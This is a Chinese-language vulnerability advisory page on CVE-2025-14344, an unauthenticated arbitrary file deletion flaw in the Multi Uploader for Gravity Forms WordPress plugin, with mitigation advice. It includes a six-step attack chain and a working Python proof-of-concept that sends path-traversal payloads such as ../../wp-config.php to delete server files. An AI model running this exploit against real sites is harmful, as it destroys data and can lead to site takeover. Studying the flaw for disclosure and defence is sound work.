IPBUF安全漏洞报告
English
CVE-2025-14344 CVSS 9.8 严重

CVE-2025-14344 WordPress Multi Uploader for Gravity Forms任意文件删除漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-14344
漏洞类型
任意文件删除
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Multi Uploader for Gravity Forms (WordPress插件)

相关标签

任意文件删除路径遍历WordPress插件CVE-2025-14344未授权访问Multi UploaderGravity Forms高危漏洞

漏洞概述

CVE-2025-14344是WordPress平台下Multi Uploader for Gravity Forms插件的一个高危安全漏洞。该插件用于在Gravity Forms表单中实现多文件上传功能,广泛应用于各类WordPress网站。漏洞存在于插件的plupload_ajax_delete_file函数中,由于该函数对用户提交的文件路径验证不足,导致任何未经身份认证的攻击者都可以通过构造恶意请求,删除服务器上的任意文件。这一漏洞的CVSS评分高达9.8分,属于严重级别,对受影响的WordPress网站构成重大安全威胁。攻击者可以利用此漏洞删除关键的网站文件,如wp-config.php配置文件,从而可能导致整个网站瘫痪或被完全接管。此外,攻击者还可能删除日志文件来隐藏攻击痕迹,或删除其他网站文件造成服务中断。由于该漏洞无需认证即可利用,且影响版本覆盖1.1.7及以下所有版本,受影响范围极广。建议所有使用该插件的用户立即采取修复措施。

技术细节

该漏洞的根本原因在于Multi Uploader for Gravity Forms插件的plupload_ajax_delete_file函数存在路径遍历(Path Traversal)问题。攻击者可以通过在file参数中注入../等路径遍历序列,绕过安全检查,指定服务器上的任意文件路径进行删除操作。具体来说,攻击者发送HTTP请求到wp-admin/admin-ajax.php端点,触发plupload_ajax_delete_file AJAX动作。由于该动作未验证用户权限且未对文件路径进行规范化处理,攻击者可以直接指定目标文件路径(如../../wp-config.php)进行删除。漏洞代码位于inc/GFMUHandlePluploader.class.php文件的第41-43行附近。该函数直接使用用户提供的路径调用PHP的unlink()函数,缺少realpath()校验和路径规范化处理。攻击者无需登录WordPress后台即可利用此漏洞,这大大增加了漏洞的危害程度。成功利用此漏洞可能导致网站配置文件被删除、主题文件被破坏、甚至整个网站无法运行。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站是否使用Multi Uploader for Gravity Forms插件(版本≤1.1.7)
STEP 2
步骤2
攻击者构造恶意HTTP POST请求,发送到wp-admin/admin-ajax.php端点
STEP 3
步骤3
在请求中设置action参数为'plupload_ajax_delete_file',并在file参数中注入路径遍历载荷(如../../wp-config.php)
STEP 4
步骤4
服务器端plupload_ajax_delete_file函数接收请求,由于缺乏路径验证,直接执行文件删除操作
STEP 5
步骤5
攻击者成功删除目标文件(如wp-config.php),导致网站配置文件丢失
STEP 6
步骤6
攻击者可通过重新安装WordPress配置或利用其他漏洞接管整个网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14344 PoC - Arbitrary File Deletion # Multi Uploader for Gravity Forms < 1.1.8 import requests import sys def delete_arbitrary_file(target_url, file_path): """ Delete arbitrary file via CVE-2025-14344 Args: target_url: Target WordPress site URL file_path: Path of file to delete (can use ../ for path traversal) """ # Construct the AJAX endpoint endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Prepare the malicious request data = { 'action': 'plupload_ajax_delete_file', 'file': file_path # Path traversal payload } try: # Send unauthenticated request response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Attempting to delete: {file_path}") print(f"[*] Response: {response.text}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Example payloads: # Delete wp-config.php: ../../wp-config.php # Delete .htaccess: ../../../.htaccess # Delete plugin files: ../../wp-content/plugins/gf-multi-uploader/main.php if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-14344.py <target_url> <file_to_delete>") print("Example: python cve-2025-14344.py http://example.com '../../wp-config.php'") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] delete_arbitrary_file(target, file_path)

影响范围

Multi Uploader for Gravity Forms ≤ 1.1.7

防御指南

临时缓解措施
立即临时缓解措施:1)如果暂时无法升级插件,可通过Web服务器配置阻止对plupload_ajax_delete_file AJAX动作的未授权访问;2)限制插件目录的写权限;3)使用防火墙规则阻止包含../序列的请求参数;4)临时禁用该插件直到完成升级;5)加强文件监控,及时发现异常文件删除行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表